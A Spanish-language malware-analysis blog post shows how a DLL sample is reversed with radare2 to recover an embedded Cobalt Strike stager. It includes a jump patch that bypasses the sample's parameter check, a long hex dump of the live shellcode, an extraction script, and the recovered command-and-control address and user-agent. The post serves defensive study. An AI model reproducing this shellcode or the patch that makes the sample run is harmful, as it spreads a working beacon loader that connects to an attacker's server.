Hola a tod@s!
En la búsqueda de nuevos artefactos que tengan como regalo una shellcode de Cobalt Strike, he visto esta muestra en Virus Total.
MD5
5b1b0bb1e07d459cf09f1739d7523ed8
SHA-1
016c97fb1d5868b9f598f6abb41dcd7a73a474b5
SHA-256
2ad776f5b11fb60d1e98edc7ea58c21888794e418488cf3baa38f5d00789b063
Vhash
1640467d15151bz1?z2
Authentihash
d4ad62f3d2589c0cc235f9936c827156e7bcc8179991c386a8f9487f586e833b
Imphash
67fdc237b514ec9fab9c4500917eb60f
SSDEEP
768:M/7T3I30eDUExixIaYOp6Ki9NJ9+QqizWVnpWTOU4DF7tYRTS3gb+8+YY1bFjeq1:HkxESIaXQL9NzqizWt8OnKlVrYRjevy
TLSH
T1E963F10504140E41E1F31739C0D7FB362AAB6E6648B64DA706DBCCB3696B21BAD5C2DB
File type
Win32 DLL
Magic
PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit
Solamente 1 antivirus menciona Cobalt, “ATK/Cobalt-BC”, pero lo que me ha llamado la atención es que no se conecta a ningún sitio, si queréis saber el porqué, seguid leyendo :D
Abrimos el malware con radare2 (-A) y mirados 2 cosas, los exports (iE) y las funciones (afl).
Como podemos observar, tiene 2 exports y poquitas funciones, así da gusto.
Si tratamos de ejecutarla directamente con estos exports que hemos visto, sigue sin conectarse a ningún sitio.
> rundll32 malware.dll, AserSec
> rundll32 malware.dll, TstSec
Veamos qué está ocurriendo.
Vamos a verlo en otro formato.
Esta es la razón de porqué esta dll no funcionará en cualquiera de las plataforma de análisis de malware online. Si se ejecuta con el exports adecuado pero sin un parámetro concreto, que ya estáis viendo, no funcionaría.
Otra cosa, si ponéis un breakpoint en VirtualAlloc, no llegareis tampoco ya que sale antes de la función al no pasarle ese parámetro esperado.
Dicho esto, para el correcto funcionamiento de la dll habría que hacerlo de esta forma:
Vemos un salto “je 0x4110a5”. La comparación anterior hace que continúe o vaya al VirtualAlloc si es correcta, por lo tanto, vamos a ayudarlo a decidirse.
Cambiamos ese je por jmp. Salta independientemente de si es igual o no.
El valor hexadecimal 74 corresponde con je, 75 con jne y eb para jmp. Por lo tanto, cambiaremos:
je = 74
por jmp = eb
Si no estáis seguro, podéis utilizar el mismo radare2, bien desde la consola con rasm2.
$ rasm2 -d 7404
je 6
$ rasm2 -d 7504
jne 6
$ rasm2 -d eb04
jmp 6
O bien directamente, si no queréis cambiar nada en el análisis que estáis haciendo, utilizad uno nuevo, el comando sería “radare2 -” (un guión).
Lo podemos hacer, como he dicho con radare2 (abriéndolo como escritura, parámetro -w). O bien con vuestro editor hexadecimal favorito.
Buscáis “7404” y en la primera referencia que os encontréis (veréis antes una serie de NOP (0x90) y varios C3).
Ahora ya podéis ejecutarlo pasándole como parámetro lo que queráis, el correcto, el incorrecto o ninguno, funcionará igualmente.
> rundll32 malware.dll,TstSec 12345678
o
> rundll32 malware.dll,TstSec
La primera parte ya está solventada, vamos con la segunda, queremos llegar a la shellcode.
Antes de nada, voy a ejecutar el comando strings de la siguiente forma:
$ strings 2ad776f5b11fb60d1e98edc7ea58c21888794e418488cf3baa38f5d00789b063 | grep Mozilla | wc -l
0
$ strings -e l 2ad776f5b11fb60d1e98edc7ea58c21888794e418488cf3baa38f5d00789b063 | grep Mozilla | wc -l
0
No se ha encontrado ninguna referencia, continuemos, menuda pista os acabo de dar :D
Si recordáis esa dirección que aparecía justo antes de las funciones, es lo que se le pasaba a la primera de ellas, ¿ para dejarla en su sitio correctamente formada ?
Si nos fijamos en los opcodes:
Resultan muy conocidos, ya los hemos visto antes, ¿ verdad ?. Justo esa función que veíamos se encarga de unirlo de forma correcta. Con un grep en el propio fichero se podría llegar a hacer, pero para eso tenemos radare2, ¿ verdad ?
Solamente os voy a enseñar 1 captura de otra herramienta para que veáis que se trata de la shellcode que estamos buscando en vivo y en directo.
Una vez la shellcode está en su lugar, el “call ecx” se encarga de ir a ella para comenzar a ejecutarla.
Vale, le llegó el turno a la extracción de la shellcode, veremos varias formas, usad la que más os guste.
Si nos posicionamos en “0x40100c”, donde comenzaba la shellcode y tratamos de ver todos los opcodes seguidos, podemos ver qué sobra, en este caso “00000000000000”.
Como veíamos en la imagen donde estaba la shellcode extraída, comenzaba por “fce889”.
Si abrimos el fichero con un editor hexadecimal vemos donde se encuentra:
Justo después de la cabecera del PE, por lo tanto es fácil encontrarla.
Con p8 y el tamaño, tendremos los opcodes para poder utilizarlo en otras herramientas y ver si funciona esto que estamos haciendo.
Si no tenemos claro el tamaño exacto, conviene ir haciendo pruebas y fijarnos en el resultado, aunque en breve veremos como sacar el tamaño exacto.
En la reserva inicial para VirtualAlloc el tamaño era: 0x1961 (61 19, little indian = 1961, en hexadecimal) (en la ejecución que hicimos con x64dbg).
Tal cual lo tenemos ahora mismo (p8 anterior) copiáis y pegáis en una herramienta llamada CyberChef - The Cyber Swiss Army Knife. Cuanto más se usa, más te gusta, creedme, como bien indican, es una buenísima navaja suiza.
Aplicáis el filtro “From Hex” (por defecto automático) y ya tenéis la shellcode para guardarla.
Le podéis aplicar otro filtro “Strings” y podéis comprobar en texto varios datos que se podrían utilizar.
Podéis hacer cosas tan chulas como esta, utilizar reglas Yara.
Vamos a realizar lo mismo que con radare2, pero desde la shell, nos vamos una y ejecutamos sobre la dll el siguiente comando:
$ xxd 2ad776f5b11fb60d1e98edc7ea58c21888794e418488cf3baa38f5d00789b063| awk -F\: '{print $2}' | awk -F" " '{print $1}' | grep -A 400 "fc00" | head -512 | tr -d '\n' | tr -d ' ' | sed 's/00000000000000//g' | awk -F"fce88900" '{print "fce88900"$2}'
fce8890000006089e531d2648b52308b520
c8b52148b72280fb74a2631ff31c0ac3c617
c022c20c1cf0d01c7e2f052578b52108b423
c01d08b407885c0744a01d0508b48188b582
001d3e33c498b348b01d631ff31c0acc1cf0
d01c738e075f4037df83b7d2475e2588b582
401d3668b0c4b8b581c01d38b048b01d0894
424245b5b61595a51ffe0585f5a8b12eb865
d686e6574006877696e6954684c772607ffd
531ff5757575757683a5679a7ffd5e984000
0005b31c951516a035151685000000053506
857899fc6ffd5eb705b31d25268000240845
2525253525068eb552e3bffd589c683c3503
1ff57576aff5356682d06187bffd585c00f8
4c301000031ff85f6740489f9eb0968aac5e
25dffd589c16845215e31ffd531ff576a075
1565068b757e00bffd5bf002f000039c774b
731ffe991010000e9c9010000e88bffffff2
f4248696900f4f98e57157d8df6a0e47fe7b
b0ddc8ec6232a2d920dce62cd0522f1c186c
7c43f6c3d30d557b07a4750159a3daf763e3
a3b8a12cd94893f0bce3e313c5f5e9ed53b1
8c4a73dedf255c9557365722d4167656e743
a204d6f7a696c6c612f352e302028636f6d7
0617469626c653b204d5349452031302e303
b2057696e646f7773204e5420362e323b205
74f5736343b2054726964656e742f362e303
b20546f7563683b204d414c434a53290d0a0
0c2490bb034c46d532b76ce0cb213a3c906b
237faecd1a0ae489af1f8ec65b198ae7d8cd
7bd2749b335e0fc3cf0e77d3ea0fb18201a6
6860cf53a1c5154db430500bd28eeba6fb5a
3cfd9bfeeecc28175349549999064719f462
d910dce5cf357e19247bbd2a5986a21e87fe
84eac97b5eb06302df5d348ad64fab7f701f
1a9d878835108aed0dc515495a4f3bdada74
8ecd837a4f2bcf37f7729f5d696a14dceee1
8ae9bf5f868a0906896d7e1ce99746092c5c
52e26595da643b5713475c7826ad9c73c502
5249ffceabe68f0b5a256ffd56a406800100
0006800004000576858a453e5ffd593b9000
0000001d9515389e75768002000005356681
29689e2ffd585c074c68b0701c385c075e55
8c3e8a9fdffff3138352e3135332e3139392
e313634000000000065f15edc2fce4e51204
f39d69d4be6d1f4d949f3e0cdefb1e100563
a35ea969adcf4770bc3c55ce31495bab1e0a
083d479ccc7599ab70a7bb760b5ed4b4b872
740fe3203c38ee6d823a08904400cd8bad9a
01373571eee0e7ea4fbc9ef83f02f8122324
5b0191dd4b9a6d8fab3b0b48c50c7ffa7e5e
db66491b12d81341eb0b640e3fbf1fc18c5b
5be9daf714d63fd9e2bfc4510eafb747bada
2fce1c0ad97009092f18caab6416953f1daa
154d83f7fd48490be80043a2da6360e66e3a
667733858ffe30f414c6232260386fe4206d
3c79691479acb74410282a7e5280e5961675
844769990d8cbb6dc52b51e5888e5ee192c8
8e5a0c9e72371cc4b7f25ace67ef05c17803
5e3371135ec2f8d74157b8d410372e2cd590
53e2650bd4bfda4c9ed00e16e35c4a546f99
17686058b0192cc0405aed15eb30f8404cdd
0017199ee717a5ca73e01ed379263bd97eeb
e2abbc32f69948d1da4122171e222e27b105
3f66dfa346ee86c014b29983ae8c2f5abf15
e3f7f7be3919c5473be36eecf8ae43c8419a
a6c85abb8a….
Copiáis y pegáis en Cyberchef y listo, mismo resultado. Para comprobar que realmente funciona la extracción, podéis utilizar scDBG:
A veces, puede pasar que se reemplaza algo que no se debe y no funciona, menos mal que este no es el caso xD.
Como hemos comprobado, realiza una comparación y si le gusta, entonces extrae la shellcode. Por lo tanto, podemos ir más abajo de esa comprobación y emular el código. Este es un buen caso para utilizar ESIL.
Nos posicionamos justo debajo de VirtualAlloc, ya que lo que nos interesa es justo cuando se deja la shellcode en su lugar de forma correcta para ser ejecutada, después de la función fnc.00411030.
Una vez que terminan los comandos relacionados con ESIL, nos fijamos en el registro eax, ¿por qué? Hemos ejecutado una llamada (call) y es donde se almacena la salida (aplicaciones de 32 bits).
Ya vemos colocada en su sitio la shellcode. Para extraerla, utilizaremos el tamaño que hemos visto anteriormente 0x1961, que se obtiene del entry0.
Recordad que estamos hablando en little indian.
Con todos estos datos, ya sólo nos queda programar un script para obtenerla, uno sencillo.
import r2pipe
import pefile
import sys
import os
import argparse
import hashlib
def use():
print "Extract Cobalt Strike Shellcode from dll with Radare2, r2pipe and ESIL - by Rafa"
print "Use: \"" + sys.argv[0] + "\" \"<binary.dll>\""
sys.exit(1)
def sha256sumfromfile(filepath):
resp = ''
if os.path.exists(filepath):
filename = filepath
sha256_hash = hashlib.sha256()
with open(filename,"rb") as f:
for byte_block in iter(lambda: f.read(4096),b""):
sha256_hash.update(byte_block)
sha256sum = sha256_hash.hexdigest()
if len(sha256sum) == 64:
resp = sha256sum
return resp
if __name__ == "__main__":
try:
parser = argparse.ArgumentParser()
parser.add_argument('-f','--dllfile', help="DLL file",required=True)
args = parser.parse_args()
path = args.dllfile
if os.path.isfile(path):
r2=r2pipe.open(path)
pe = r2.cmd("e file.type").split('\n')[0]
if pe not in ('pe','elf'):
print "The file \"" + path + "\" is not a PE/ELF"
use()
try:
if not sha256sumfromfile(path) == "2ad776f5b11fb60d1e98edc7ea58c21888794e418488cf3baa38f5d00789b063":
print "Incorrect sha256sum, sorry"
sys.exit(1)
except Exception, msg:
print "[!] error: %s" % msg
sys.exit(1)
scfile = "Shellcode_from_dll.bin"
arch = r2.cmd("e asm.arch").split('\n')[0]
r2.cmd("e asm.arch = " + arch)
r2.cmd("aaa")
r2.cmd("e scr.rows = 100")
r2.cmd("e scr.columns = 80")
r2.cmd("e scr.utf8 = true")
r2.cmd("e io.cache = true")
sizeb = r2.cmd("p8 1 @ entry0+1").strip()
sizea = r2.cmd("p8 1 @ entry0").strip()
size = '0x'+sizeb+sizea
r2.cmd("s 0x004110ba")
r2.cmd("aeim")
r2.cmd("aeip")
r2.cmd("aesu 0x004110ce")
r2.cmd("wt "+scfile+" "+size+" @eax")
print 'Shellcode extracted in '+scfile+'\n'
else:
print ("The file \"" + path + "\" not exists!")
sys.exit(1)
except Exception, msg:
print ("[!] error: %s" % msg)
El resultado nos indica como se ha extraído la shellcode, y utilizamos el script que os enseñé en un artículo anterior para obtener los datos de la shellcode:
$ python extract_cobaltstrike_shellcode_from_dll.py -f
2ad776f5b11fb60d1e98edc7ea58c21888794e418488cf3baa38f5d00789b063
Dumped 6497 bytes from 0x00000000 into Shellcode_from_dll.bin
Shellcode extracted in Shellcode_from_dll.bin
$ python getinfoshellcodecobalt.py Shellcode_from_dll.bin 2>/dev/null
[*] Shellcode Architecture: x32
[*] Result: http[s]://185.153.199.164:80/BHii
[*] IP or domain: 185.153.199.164
[*] Port: 80
[*] URL: /BHii
[*] Header: User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; Touch; MALCJS)
Listo!! :D
Bueno, espero que os haya gustado y nos vemos pronto!